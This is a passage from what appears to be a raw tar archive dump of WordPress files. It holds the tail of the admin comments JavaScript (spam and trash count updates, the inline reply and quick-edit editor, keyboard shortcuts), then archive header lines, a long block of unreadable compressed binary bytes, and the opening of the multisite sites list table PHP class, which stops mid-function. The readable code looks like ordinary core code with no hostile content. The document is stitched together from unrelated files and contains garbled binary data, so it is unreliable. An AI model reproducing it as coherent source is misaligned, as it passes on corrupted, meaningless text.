				h = $('<div id="undo-' + id + '" style="display:none;" class="undo un' + action + '">' + note + '</div>');
			}

			el.before(h);

			$('strong', '#undo-' + id).text(author);
			a = $('.undo a', '#undo-' + id);
			a.attr('href', 'comment.php?action=un' + action + 'comment&c=' + id + '&_wpnonce=' + settings.data._ajax_nonce);
			a.attr('data-wp-lists', 'delete:the-comment-list:comment-' + id + '::un' + action + '=1');
			a.attr('class', 'vim-z vim-destructive aria-button-if-js');
			$('.avatar', el).first().clone().prependTo('#undo-' + id + ' .' + action + '-undo-inside');

			a.on( 'click', function( e ){
				e.preventDefault();
				e.stopPropagation(); // Ticket #35904.
				list.wpList.del(this);
				$('#undo-' + id).css( {backgroundColor:'#ceb'} ).fadeOut(350, function(){
					$(this).remove();
					$('#comment-' + id).css('backgroundColor', '').fadeIn(300, function(){ $(this).show(); });
				});
			});
		}

		return settings;
	};

	/**
	 * Handles actions that need to be done after marking as spam or thrashing a
	 * comment.
	 *
	 * The ajax requests return the unix time stamp a comment was marked as spam or
	 * trashed. We use this to have a correct total amount of comments.
	 *
	 * @since 2.5.0
	 * @access private
	 *
	 * @param {Object} r Ajax response object.
	 * @param {Object} settings Settings for the wpList object.
	 *
	 * @return {void}
	 */
	delAfter = function( r, settings ) {
		var total_items_i18n, total, animated, animatedCallback,
			response = true === settings.parsed ? {} : settings.parsed.responses[0],
			commentStatus = true === settings.parsed ? '' : response.supplemental.status,
			commentPostId = true === settings.parsed ? '' : response.supplemental.postId,
			newTotal = true === settings.parsed ? '' : response.supplemental,

			targetParent = $( settings.target ).parent(),
			commentRow = $('#' + settings.element),

			spamDiff, trashDiff, pendingDiff, approvedDiff,

			/*
			 * As `wpList` toggles only the `unapproved` class, the approved comment
			 * rows can have both the `approved` and `unapproved` classes.
			 */
			approved = commentRow.hasClass( 'approved' ) && ! commentRow.hasClass( 'unapproved' ),
			unapproved = commentRow.hasClass( 'unapproved' ),
			spammed = commentRow.hasClass( 'spam' ),
			trashed = commentRow.hasClass( 'trash' ),
			undoing = false; // Ticket #35904.

		updateDashboardText( newTotal );
		updateInModerationText( newTotal );

		/*
		 * The order of these checks is important.
		 * .unspam can also have .approve or .unapprove.
		 * .untrash can also have .approve or .unapprove.
		 */

		if ( targetParent.is( 'span.undo' ) ) {
			// The comment was spammed.
			if ( targetParent.hasClass( 'unspam' ) ) {
				spamDiff = -1;

				if ( 'trash' === commentStatus ) {
					trashDiff = 1;
				} else if ( '1' === commentStatus ) {
					approvedDiff = 1;
				} else if ( '0' === commentStatus ) {
					pendingDiff = 1;
				}

			// The comment was trashed.
			} else if ( targetParent.hasClass( 'untrash' ) ) {
				trashDiff = -1;

				if ( 'spam' === commentStatus ) {
					spamDiff = 1;
				} else if ( '1' === commentStatus ) {
					approvedDiff = 1;
				} else if ( '0' === commentStatus ) {
					pendingDiff = 1;
				}
			}

			undoing = true;

		// User clicked "Spam".
		} else if ( targetParent.is( 'span.spam' ) ) {
			// The comment is currently approved.
			if ( approved ) {
				approvedDiff = -1;
			// The comment is currently pending.
			} else if ( unapproved ) {
				pendingDiff = -1;
			// The comment was in the Trash.
			} else if ( trashed ) {
				trashDiff = -1;
			}
			// You can't spam an item on the Spam screen.
			spamDiff = 1;

		// User clicked "Unspam".
		} else if ( targetParent.is( 'span.unspam' ) ) {
			if ( approved ) {
				pendingDiff = 1;
			} else if ( unapproved ) {
				approvedDiff = 1;
			} else if ( trashed ) {
				// The comment was previously approved.
				if ( targetParent.hasClass( 'approve' ) ) {
					approvedDiff = 1;
				// The comment was previously pending.
				} else if ( targetParent.hasClass( 'unapprove' ) ) {
					pendingDiff = 1;
				}
			} else if ( spammed ) {
				if ( targetParent.hasClass( 'approve' ) ) {
					approvedDiff = 1;

				} else if ( targetParent.hasClass( 'unapprove' ) ) {
					pendingDiff = 1;
				}
			}
			// You can unspam an item on the Spam screen.
			spamDiff = -1;

		// User clicked "Trash".
		} else if ( targetParent.is( 'span.trash' ) ) {
			if ( approved ) {
				approvedDiff = -1;
			} else if ( unapproved ) {
				pendingDiff = -1;
			// The comment was in the spam queue.
			} else if ( spammed ) {
				spamDiff = -1;
			}
			// You can't trash an item on the Trash screen.
			trashDiff = 1;

		// User clicked "Restore".
		} else if ( targetParent.is( 'span.untrash' ) ) {
			if ( approved ) {
				pendingDiff = 1;
			} else if ( unapproved ) {
				approvedDiff = 1;
			} else if ( trashed ) {
				if ( targetParent.hasClass( 'approve' ) ) {
					approvedDiff = 1;
				} else if ( targetParent.hasClass( 'unapprove' ) ) {
					pendingDiff = 1;
				}
			}
			// You can't go from Trash to Spam.
			// You can untrash on the Trash screen.
			trashDiff = -1;

		// User clicked "Approve".
		} else if ( targetParent.is( 'span.approve:not(.unspam):not(.untrash)' ) ) {
			approvedDiff = 1;
			pendingDiff = -1;

		// User clicked "Unapprove".
		} else if ( targetParent.is( 'span.unapprove:not(.unspam):not(.untrash)' ) ) {
			approvedDiff = -1;
			pendingDiff = 1;

		// User clicked "Delete Permanently".
		} else if ( targetParent.is( 'span.delete' ) ) {
			if ( spammed ) {
				spamDiff = -1;
			} else if ( trashed ) {
				trashDiff = -1;
			}
		}

		if ( pendingDiff ) {
			updatePending( pendingDiff, commentPostId );
			updateCountText( 'span.all-count', pendingDiff );
		}

		if ( approvedDiff ) {
			updateApproved( approvedDiff, commentPostId );
			updateCountText( 'span.all-count', approvedDiff );
		}

		if ( spamDiff ) {
			updateCountText( 'span.spam-count', spamDiff );
		}

		if ( trashDiff ) {
			updateCountText( 'span.trash-count', trashDiff );
		}

		if (
			( ( 'trash' === settings.data.comment_status ) && !getCount( $( 'span.trash-count' ) ) ) ||
			( ( 'spam' === settings.data.comment_status ) && !getCount( $( 'span.spam-count' ) ) )
		) {
			$( '#delete_all' ).hide();
		}

		if ( ! isDashboard ) {
			total = totalInput.val() ? parseInt( totalInput.val(), 10 ) : 0;
			if ( $(settings.target).parent().is('span.undo') )
				total++;
			else
				total--;

			if ( total < 0 )
				total = 0;

			if ( 'object' === typeof r ) {
				if ( response.supplemental.total_items_i18n && lastConfidentTime < response.supplemental.time ) {
					total_items_i18n = response.supplemental.total_items_i18n || '';
					if ( total_items_i18n ) {
						$('.displaying-num').text( total_items_i18n.replace( '&nbsp;', String.fromCharCode( 160 ) ) );
						$('.total-pages').text( response.supplemental.total_pages_i18n.replace( '&nbsp;', String.fromCharCode( 160 ) ) );
						$('.tablenav-pages').find('.next-page, .last-page').toggleClass('disabled', response.supplemental.total_pages == $('.current-page').val());
					}
					updateTotalCount( total, response.supplemental.time, true );
				} else if ( response.supplemental.time ) {
					updateTotalCount( total, response.supplemental.time, false );
				}
			} else {
				updateTotalCount( total, r, false );
			}
		}

		if ( ! theExtraList || theExtraList.length === 0 || theExtraList.children().length === 0 || undoing ) {
			return;
		}

		theList.get(0).wpList.add( theExtraList.children( ':eq(0):not(.no-items)' ).remove().clone() );

		refillTheExtraList();

		animated = $( ':animated', '#the-comment-list' );
		animatedCallback = function() {
			if ( ! $( '#the-comment-list tr:visible' ).length ) {
				theList.get(0).wpList.add( theExtraList.find( '.no-items' ).clone() );
			}
		};

		if ( animated.length ) {
			animated.promise().done( animatedCallback );
		} else {
			animatedCallback();
		}
	};

	/**
	 * Retrieves additional comments to populate the extra list.
	 *
	 * @since 3.1.0
	 * @access private
	 *
	 * @param {boolean} [ev] Repopulate the extra comments list if true.
	 *
	 * @return {void}
	 */
	refillTheExtraList = function(ev) {
		var args = $.query.get(), total_pages = $('.total-pages').text(), per_page = $('input[name="_per_page"]', '#comments-form').val();

		if (! args.paged)
			args.paged = 1;

		if (args.paged > total_pages) {
			return;
		}

		if (ev) {
			theExtraList.empty();
			args.number = Math.min(8, per_page); // See WP_Comments_List_Table::prepare_items() in class-wp-comments-list-table.php.
		} else {
			args.number = 1;
			args.offset = Math.min(8, per_page) - 1; // Fetch only the next item on the extra list.
		}

		args.no_placeholder = true;

		args.paged ++;

		// $.query.get() needs some correction to be sent into an Ajax request.
		if ( true === args.comment_type )
			args.comment_type = '';

		args = $.extend(args, {
			'action': 'fetch-list',
			'list_args': list_args,
			'_ajax_fetch_list_nonce': $('#_ajax_fetch_list_nonce').val()
		});

		$.ajax({
			url: ajaxurl,
			global: false,
			dataType: 'json',
			data: args,
			success: function(response) {
				theExtraList.get(0).wpList.add( response.rows );
			}
		});
	};

	/**
	 * Globally available jQuery object referring to the extra comments list.
	 *
	 * @global
	 */
	window.theExtraList = $('#the-extra-comment-list').wpList( { alt: '', delColor: 'none', addColor: 'none' } );

	/**
	 * Globally available jQuery object referring to the comments list.
	 *
	 * @global
	 */
	window.theList = $('#the-comment-list').wpList( { alt: '', delBefore: delBefore, dimAfter: dimAfter, delAfter: delAfter, addColor: 'none' } )
		.on('wpListDelEnd', function(e, s){
			var wpListsData = $(s.target).attr('data-wp-lists'), id = s.element.replace(/[^0-9]+/g, '');

			if ( wpListsData.indexOf(':trash=1') != -1 || wpListsData.indexOf(':spam=1') != -1 )
				$('#undo-' + id).fadeIn(300, function(){ $(this).show(); });
		});
};

/**
 * Object containing functionality regarding the comment quick editor and reply
 * editor.
 *
 * @since 2.7.0
 *
 * @global
 */
window.commentReply = {
	cid : '',
	act : '',
	originalContent : '',

	/**
	 * Initializes the comment reply functionality.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 */
	init : function() {
		var row = $('#replyrow');

		$( '.cancel', row ).on( 'click', function() { return commentReply.revert(); } );
		$( '.save', row ).on( 'click', function() { return commentReply.send(); } );
		$( 'input#author-name, input#author-email, input#author-url', row ).on( 'keypress', function( e ) {
			if ( e.which == 13 ) {
				commentReply.send();
				e.preventDefault();
				return false;
			}
		});

		// Add events.
		$('#the-comment-list .column-comment > p').on( 'dblclick', function(){
			commentReply.toggle($(this).parent());
		});

		$('#doaction, #post-query-submit').on( 'click', function(){
			if ( $('#the-comment-list #replyrow').length > 0 )
				commentReply.close();
		});

		this.comments_listing = $('#comments-form > input[name="comment_status"]').val() || '';
	},

	/**
	 * Adds doubleclick event handler to the given comment list row.
	 *
	 * The double-click event will toggle the comment edit or reply form.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {Object} r The row to add double click handlers to.
	 *
	 * @return {void}
	 */
	addEvents : function(r) {
		r.each(function() {
			$(this).find('.column-comment > p').on( 'dblclick', function(){
				commentReply.toggle($(this).parent());
			});
		});
	},

	/**
	 * Opens the quick edit for the given element.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {HTMLElement} el The element you want to open the quick editor for.
	 *
	 * @return {void}
	 */
	toggle : function(el) {
		if ( 'none' !== $( el ).css( 'display' ) && ( $( '#replyrow' ).parent().is('#com-reply') || window.confirm( __( 'Are you sure you want to edit this comment?\nThe changes you made will be lost.' ) ) ) ) {
			$( el ).find( 'button.vim-q' ).trigger( 'click' );
		}
	},

	/**
	 * Closes the comment quick edit or reply form and undoes any changes.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @return {void}
	 */
	revert : function() {

		if ( $('#the-comment-list #replyrow').length < 1 )
			return false;

		$('#replyrow').fadeOut('fast', function(){
			commentReply.close();
		});
	},

	/**
	 * Closes the comment quick edit or reply form and undoes any changes.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @return {void}
	 */
	close : function() {
		var commentRow = $(),
			replyRow = $( '#replyrow' );

		// Return if the replyrow is not showing.
		if ( replyRow.parent().is( '#com-reply' ) ) {
			return;
		}

		if ( this.cid ) {
			commentRow = $( '#comment-' + this.cid );
		}

		/*
		 * When closing the Quick Edit form, show the comment row and move focus
		 * back to the Quick Edit button.
		 */
		if ( 'edit-comment' === this.act ) {
			commentRow.fadeIn( 300, function() {
				commentRow
					.show()
					.find( '.vim-q' )
						.attr( 'aria-expanded', 'false' )
						.trigger( 'focus' );
			} ).css( 'backgroundColor', '' );
		}

		// When closing the Reply form, move focus back to the Reply button.
		if ( 'replyto-comment' === this.act ) {
			commentRow.find( '.vim-r' )
				.attr( 'aria-expanded', 'false' )
				.trigger( 'focus' );
		}

		// Reset the Quicktags buttons.
 		if ( typeof QTags != 'undefined' )
			QTags.closeAllTags('replycontent');

		$('#add-new-comment').css('display', '');

		replyRow.hide();
		$( '#com-reply' ).append( replyRow );
		$('#replycontent').css('height', '').val('');
		$('#edithead input').val('');
		$( '.notice-error', replyRow )
			.addClass( 'hidden' )
			.find( '.error' ).empty();
		$( '.spinner', replyRow ).removeClass( 'is-active' );

		this.cid = '';
		this.originalContent = '';
	},

	/**
	 * Opens the comment quick edit or reply form.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {number} comment_id The comment ID to open an editor for.
	 * @param {number} post_id The post ID to open an editor for.
	 * @param {string} action The action to perform. Either 'edit' or 'replyto'.
	 *
	 * @return {boolean} Always false.
	 */
	open : function(comment_id, post_id, action) {
		var editRow, rowData, act, replyButton, editHeight,
			t = this,
			c = $('#comment-' + comment_id),
			h = c.height(),
			colspanVal = 0;

		if ( ! this.discardCommentChanges() ) {
			return false;
		}

		t.close();
		t.cid = comment_id;

		editRow = $('#replyrow');
		rowData = $('#inline-'+comment_id);
		action = action || 'replyto';
		act = 'edit' == action ? 'edit' : 'replyto';
		act = t.act = act + '-comment';
		t.originalContent = $('textarea.comment', rowData).val();
		colspanVal = $( '> th:visible, > td:visible', c ).length;

		// Make sure it's actually a table and there's a `colspan` value to apply.
		if ( editRow.hasClass( 'inline-edit-row' ) && 0 !== colspanVal ) {
			$( 'td', editRow ).attr( 'colspan', colspanVal );
		}

		$('#action', editRow).val(act);
		$('#comment_post_ID', editRow).val(post_id);
		$('#comment_ID', editRow).val(comment_id);

		if ( action == 'edit' ) {
			$( '#author-name', editRow ).val( $( 'div.author', rowData ).text() );
			$('#author-email', editRow).val( $('div.author-email', rowData).text() );
			$('#author-url', editRow).val( $('div.author-url', rowData).text() );
			$('#status', editRow).val( $('div.comment_status', rowData).text() );
			$('#replycontent', editRow).val( $('textarea.comment', rowData).val() );
			$( '#edithead, #editlegend, #savebtn', editRow ).show();
			$('#replyhead, #replybtn, #addhead, #addbtn', editRow).hide();

			if ( h > 120 ) {
				// Limit the maximum height when editing very long comments to make it more manageable.
				// The textarea is resizable in most browsers, so the user can adjust it if needed.
				editHeight = h > 500 ? 500 : h;
				$('#replycontent', editRow).css('height', editHeight + 'px');
			}

			c.after( editRow ).fadeOut('fast', function(){
				$('#replyrow').fadeIn(300, function(){ $(this).show(); });
			});
		} else if ( action == 'add' ) {
			$('#addhead, #addbtn', editRow).show();
			$( '#replyhead, #replybtn, #edithead, #editlegend, #savebtn', editRow ) .hide();
			$('#the-comment-list').prepend(editRow);
			$('#replyrow').fadeIn(300);
		} else {
			replyButton = $('#replybtn', editRow);
			$( '#edithead, #editlegend, #savebtn, #addhead, #addbtn', editRow ).hide();
			$('#replyhead, #replybtn', editRow).show();
			c.after(editRow);

			if ( c.hasClass('unapproved') ) {
				replyButton.text( __( 'Approve and Reply' ) );
			} else {
				replyButton.text( __( 'Reply' ) );
			}

			$('#replyrow').fadeIn(300, function(){ $(this).show(); });
		}

		setTimeout(function() {
			var rtop, rbottom, scrollTop, vp, scrollBottom,
				isComposing = false;

			rtop = $('#replyrow').offset().top;
			rbottom = rtop + $('#replyrow').height();
			scrollTop = window.pageYOffset || document.documentElement.scrollTop;
			vp = document.documentElement.clientHeight || window.innerHeight || 0;
			scrollBottom = scrollTop + vp;

			if ( scrollBottom - 20 < rbottom )
				window.scroll(0, rbottom - vp + 35);
			else if ( rtop - 20 < scrollTop )
				window.scroll(0, rtop - 35);

			$( '#replycontent' )
				.trigger( 'focus' )
				.on( 'keyup', function( e ) {
					// Close on Escape except when Input Method Editors (IMEs) are in use.
					if ( e.which === 27 && ! isComposing ) {
						commentReply.revert();
					}
				} )
				.on( 'compositionstart', function() {
					isComposing = true;
				} );
		}, 600);

		return false;
	},

	/**
	 * Submits the comment quick edit or reply form.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @return {void}
	 */
	send : function() {
		var post = {},
			$errorNotice = $( '#replysubmit .error-notice' );

		$errorNotice.addClass( 'hidden' );
		$( '#replysubmit .spinner' ).addClass( 'is-active' );

		$('#replyrow input').not(':button').each(function() {
			var t = $(this);
			post[ t.attr('name') ] = t.val();
		});

		post.content = $('#replycontent').val();
		post.id = post.comment_post_ID;
		post.comments_listing = this.comments_listing;
		post.p = $('[name="p"]').val();

		if ( $('#comment-' + $('#comment_ID').val()).hasClass('unapproved') )
			post.approve_parent = 1;

		$.ajax({
			type : 'POST',
			url : ajaxurl,
			data : post,
			success : function(x) { commentReply.show(x); },
			error : function(r) { commentReply.error(r); }
		});
	},

	/**
	 * Shows the new or updated comment or reply.
	 *
	 * This function needs to be passed the ajax result as received from the server.
	 * It will handle the response and show the comment that has just been saved to
	 * the server.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {Object} xml Ajax response object.
	 *
	 * @return {void}
	 */
	show : function(xml) {
		var t = this, r, c, id, bg, pid;

		if ( typeof(xml) == 'string' ) {
			t.error({'responseText': xml});
			return false;
		}

		r = wpAjax.parseAjaxResponse(xml);
		if ( r.errors ) {
			t.error({'responseText': wpAjax.broken});
			return false;
		}

		t.revert();

		r = r.responses[0];
		id = '#comment-' + r.id;

		if ( 'edit-comment' == t.act )
			$(id).remove();

		if ( r.supplemental.parent_approved ) {
			pid = $('#comment-' + r.supplemental.parent_approved);
			updatePending( -1, r.supplemental.parent_post_id );

			if ( this.comments_listing == 'moderated' ) {
				pid.animate( { 'backgroundColor':'#CCEEBB' }, 400, function(){
					pid.fadeOut();
				});
				return;
			}
		}

		if ( r.supplemental.i18n_comments_text ) {
			updateDashboardText( r.supplemental );
			updateInModerationText( r.supplemental );
			updateApproved( 1, r.supplemental.parent_post_id );
			updateCountText( 'span.all-count', 1 );
		}

		r.data = r.data || '';
		c = r.data.toString().trim(); // Trim leading whitespaces.
		$(c).hide();
		$('#replyrow').after(c);

		id = $(id);
		t.addEvents(id);
		bg = id.hasClass('unapproved') ? '#FFFFE0' : id.closest('.widefat, .postbox').css('backgroundColor');

		id.animate( { 'backgroundColor':'#CCEEBB' }, 300 )
			.animate( { 'backgroundColor': bg }, 300, function() {
				if ( pid && pid.length ) {
					pid.animate( { 'backgroundColor':'#CCEEBB' }, 300 )
						.animate( { 'backgroundColor': bg }, 300 )
						.removeClass('unapproved').addClass('approved')
						.find('div.comment_status').html('1');
				}
			});

	},

	/**
	 * Shows an error for the failed comment update or reply.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {string} r The Ajax response.
	 *
	 * @return {void}
	 */
	error : function(r) {
		var er = r.statusText,
			$errorNotice = $( '#replysubmit .notice-error' ),
			$error = $errorNotice.find( '.error' );

		$( '#replysubmit .spinner' ).removeClass( 'is-active' );

		if ( r.responseText )
			er = r.responseText.replace( /<.[^<>]*?>/g, '' );

		if ( er ) {
			$errorNotice.removeClass( 'hidden' );
			$error.html( er );
		}
	},

	/**
	 * Opens the add comments form in the comments metabox on the post edit page.
	 *
	 * @since 3.4.0
	 *
	 * @memberof commentReply
	 *
	 * @param {number} post_id The post ID.
	 *
	 * @return {void}
	 */
	addcomment: function(post_id) {
		var t = this;

		$('#add-new-comment').fadeOut(200, function(){
			t.open(0, post_id, 'add');
			$('table.comments-box').css('display', '');
			$('#no-comments').remove();
		});
	},

	/**
	 * Alert the user if they have unsaved changes on a comment that will be lost if
	 * they proceed with the intended action.
	 *
	 * @since 4.6.0
	 *
	 * @memberof commentReply
	 *
	 * @return {boolean} Whether it is safe the continue with the intended action.
	 */
	discardCommentChanges: function() {
		var editRow = $( '#replyrow' );

		if  ( '' === $( '#replycontent', editRow ).val() || this.originalContent === $( '#replycontent', editRow ).val() ) {
			return true;
		}

		return window.confirm( __( 'Are you sure you want to do this?\nThe comment changes you made will be lost.' ) );
	}
};

$( function(){
	var make_hotkeys_redirect, edit_comment, toggle_all, make_bulk;

	setCommentsList();
	commentReply.init();

	$(document).on( 'click', 'span.delete a.delete', function( e ) {
		e.preventDefault();
	});

	if ( typeof $.table_hotkeys != 'undefined' ) {
		/**
		 * Creates a function that navigates to a previous or next page.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @param {string} which What page to navigate to: either next or prev.
		 *
		 * @return {Function} The function that executes the navigation.
		 */
		make_hotkeys_redirect = function(which) {
			return function() {
				var first_last, l;

				first_last = 'next' == which? 'first' : 'last';
				l = $('.tablenav-pages .'+which+'-page:not(.disabled)');
				if (l.length)
					window.location = l[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g, '')+'&hotkeys_highlight_'+first_last+'=1';
			};
		};

		/**
		 * Navigates to the edit page for the selected comment.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @param {Object} event       The event that triggered this action.
		 * @param {Object} current_row A jQuery object of the selected row.
		 *
		 * @return {void}
		 */
		edit_comment = function(event, current_row) {
			window.location = $('span.edit a', current_row).attr('href');
		};

		/**
		 * Toggles all comments on the screen, for bulk actions.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @return {void}
		 */
		toggle_all = function() {
			$('#cb-select-all-1').data( 'wp-toggle', 1 ).trigger( 'click' ).removeData( 'wp-toggle' );
		};

		/**
		 * Creates a bulk action function that is executed on all selected comments.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @param {string} value The name of the action to execute.
		 *
		 * @return {Function} The function that executes the bulk action.
		 */
		make_bulk = function(value) {
			return function() {
				var scope = $('select[name="action"]');
				$('option[value="' + value + '"]', scope).prop('selected', true);
				$('#doaction').trigger( 'click' );
			};
		};

		$.table_hotkeys(
			$('table.widefat'),
			[
				'a', 'u', 's', 'd', 'r', 'q', 'z',
				['e', edit_comment],
				['shift+x', toggle_all],
				['shift+a', make_bulk('approve')],
				['shift+s', make_bulk('spam')],
				['shift+d', make_bulk('delete')],
				['shift+t', make_bulk('trash')],
				['shift+z', make_bulk('untrash')],
				['shift+u', make_bulk('unapprove')]
			],
			{
				highlight_first: adminCommentsSettings.hotkeys_highlight_first,
				highlight_last: adminCommentsSettings.hotkeys_highlight_last,
				prev_page_link_cb: make_hotkeys_redirect('prev'),
				next_page_link_cb: make_hotkeys_redirect('next'),
				hotkeys_opts: {
					disableInInput: true,
					type: 'keypress',
					noDisable: '.check-column input[type="checkbox"]'
				},
				cycle_expr: '#the-comment-list tr',
				start_row_index: 0
			}
		);
	}

	// Quick Edit and Reply have an inline comment editor.
	$( '#the-comment-list' ).on( 'click', '.comment-inline', function() {
		var $el = $( this ),
			action = 'replyto';

		if ( 'undefined' !== typeof $el.data( 'action' ) ) {
			action = $el.data( 'action' );
		}

		$( this ).attr( 'aria-expanded', 'true' );
		commentReply.open( $el.data( 'commentId' ), $el.data( 'postId' ), action );
	} );
});

})(jQuery);
media-gallery-widget.js.js.tar.gz000064400000005352150276633110012727 0ustar00��Zms��W�W�n'�<ґ~I�Rӎ�Iکb5r��x����+���*�o�.��<J��m�꾐�����/�R���L�0%/Ǚ�ڤZ׊�I&W��0�W����+�_p��+����"-
��i4y�?�}&�|���������G_>�����Ϟ<�<~2����6�'��=5lX��_�3~�p�=d�em�ڰ�8oX6��?d\�4,��������S��=�JI��=��F��{��F��̌��V�*	�g�>��k͙6Jdfx��7�L��8�h�ʜ�c"FO�IE�OQ�oT��H	7:��Á�s�a9�e���;�e����Ʉ����sU%V#�[���)-K��N�eɥ�WI3-9�����ޠ�����	�z�G�G���o��R&��F�늃7�'R�Ք���,9hi�օ�����4��(;���U�n.���v�6�,�sK`ʼ�xxdM`0@�I�4�GoppP�FΞ`Kɟ�\��zd�"�2��)��\���B�G�2!Y��^�\��RB*a�q�Ӊ'&e1O�%7\��<�p[��p�Α尮
��<�/W�NQ�4Cؤ�-ą$��v9��[
�Fl����^<N�)V����Y��
ծG�n�NX�;N�w������=� j����GmT��Yn�+����u�mYo�؎���#�[\���F	��
����s�ُg3򠙛;��_��əΔ���B*U� ?k�j�mξ;c�C%���g+@�c��4��9��_}���F��`M��U��mb��Ɲ�64�ý��$� �*K��
���%�����o�Xw�v�t
���d7�;7�Ih���0+D����.��`\)��5gGϱT�G@���t,ݩ&�ڿ���e�$>��`ߛ�����W����+:�3�C��aR{��i�~��X�X��d���ԁH��ݟ�7x$v�����EnOb	W��zGR��̎�Z�ڢî�\q�Y
_q	��Ib��\]v��xN�w��fp��"9�oY�gD�#��wt��r���<���ћ%sQ�/ZS ��Zظ��Ƥ���^.�2/x3x����CfC�;��\
i��фQ���\w��>9����y�(1Ո���ꌰ�T����DzE���ۡ��@x��.�9�ѢU�� �W�X�f`L.�]�F";�/�^�095D/-��CͲ�"KՌD�h-q{��D����A�NV7ׁ-�vr��)� P4�饼�S�H��T+�e�D�D�e
�^J�DJ�q�1��,���c��qL��{�"�C8�G?���5��9��m�
 �)剢��=putp/���uY�p�ۑ��0p8TkU��jHXl�3@�V
��8���T]p��`D�PRI��!Aନa���Md~9��̄�_?y��W�Aī�X��j��>���;q�
�p���X�t��4��`��Gq���V�;�L�f"b�~D������nG��X���f�I\��G�`0��D�?��)��~*�����Ce��� �V�,qSw��NUD�͒����!Bl=_K�
�ډS#����H
J��0�r>�7j�ix��;���-��rL�و߫pC����*�0~I���YI�3�;T�:�
���/Ώ}Ik��P���l&J���%�>�#n��KGÖ���=%��H#$����o��Yw+^�Z[��4�'�:�6p�h�I�֊��{��w��c��0򚯪��%8jJҝ��o���bW��SG�:Y�q�˪Ý��w5*b�!{�A'F���.��I�J�nַ&<䟍O6��w	��&%"go�S4�j���l�4+HQ;�ٳ�~۱�n��ҋcf�nsu���?3���ͥ,xZ�������s�0�ov�g �0��m,s*v�,�Bs�L{�p?�{T�=�lQث�ǩ�ڻ�S`��,j|Z3�ّr��.�l�_$���߭u����ƹ}�XF�n���q���Դ���kyڞ�=ao����o��>ڵ�8u^%s�n�̅�>����cD+���
�:
��m;�Z�.�Y�b��ĘCq��f�a��2fF��hV�ǔuڠ+��m(
��F�x)�O�[m�wt�VA!һb�K'��h���[⨏�ڔ|����r�M��d��S�Ƕ��@���r̾�5{�B��R��P�����R�N)i��CmI��̀�/�B祚+���#F���j�sXG>4茒I5?��h: [����W]�A(��.���cY]3�_��G��w��C�~�ύ����:T��@|造�b	!e
b���,��a[���$��s�f��\bJ&�Ԉ�Cb�Mr�4ZS�ܖ�I�d��r/\���M�mv���
�m��jc;O_a��:���6��N�Eyۉ-��������`�u������3�_y�q��ĆF\�c.Q�F�h�爻�a�8IY�����#�}$������/�}����)����-dVkl�kRv�#�ZAK��X
���
!+ 0:Z6|�� �mȋ2�/��S�yЭ@��``�E�V�o��U����us�Vd�G��P��ءѶ&�q�S��Z�+��5����+qBpK�w����˵u�0�k�}o�s�Q6�3c[oh[�c�S8��Z��&�p��F����5n��e�^�+��z��{u��_�Dn�KG���D�i�?�^ң���<�?��s��?��v�2�0includes.tar000064400016111000150276633110007066 0ustar00class-wp-ms-sites-list-table.php000064400000052735150275632040012626 0ustar00<?php
/**
 * List Table API: WP_MS_Sites_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying sites in a list table for the network admin.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_MS_Sites_List_Table extends WP_List_Table {

	/**
	 * Site status list.
	 *
	 * @since 4.3.0
	 * @var array
	 */
	public $status_list;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		$this->status_list = array(
			'archived' => array( 'site-archived', __( 'Archived' ) ),
			'spam'     => array( 'site-spammed', _x( 'Spam', 'site' ) ),
			'deleted'  => array( 'site-deleted', __( 'Deleted' ) ),
			'mature'   => array( 'site-mature', __( 'Mature' ) ),
		);

		parent::__construct(
			array(
				'plural' => 'sites',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'manage_sites' );
	}

	/**
	 * Prepares the list of sites for display.
	 *
	 * @since 3.1.0
	 *
	 * @global string $mode List table view mode.
	 * @global string $s
	 * @global wpdb   $wpdb WordPress database abstraction object.
	 */
	public function prepare_items() {
		global $mode, $s, $wpdb;

		if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list';
			set_user_setting( 'sites_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'sites_list_mode', 'list' );
		}

		$per_page = $this->get_items_per_page( 'sites_network_per_page' );

		$pagenum = $this->get_pagenum();

		$s    = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';
		$wild = '';
		if ( str_contains( $s, '*' ) ) {
			$wild = '*';
			$s    = trim( $s, '*' );
		}

		/*
		 * If the network is large and a search is not being performed, show only
		 * the latest sites with no paging in order to avoid expensive count queries.
		 */
		if ( ! $s && wp_is_large_network() ) {
			if ( ! isset( $_REQUEST['orderby'] ) ) {
				$_GET['orderby']     = '';
				$_REQUEST['orderby'] = '';
			}
			if ( ! isset( $_REQUEST['order'] ) ) {
				$_GET['order']     = 'DESC';
				$_REQUEST['order'] = 'DESC';
			}
		}

		$args = array(
			'number'     => (int) $per_page,
			'offset'     => (int) ( ( $pagenum - 1 ) * $per_page ),
			'network_id' => get_current_network_id(),
		);

		if ( empty( $s ) ) {
			// Nothing to do.
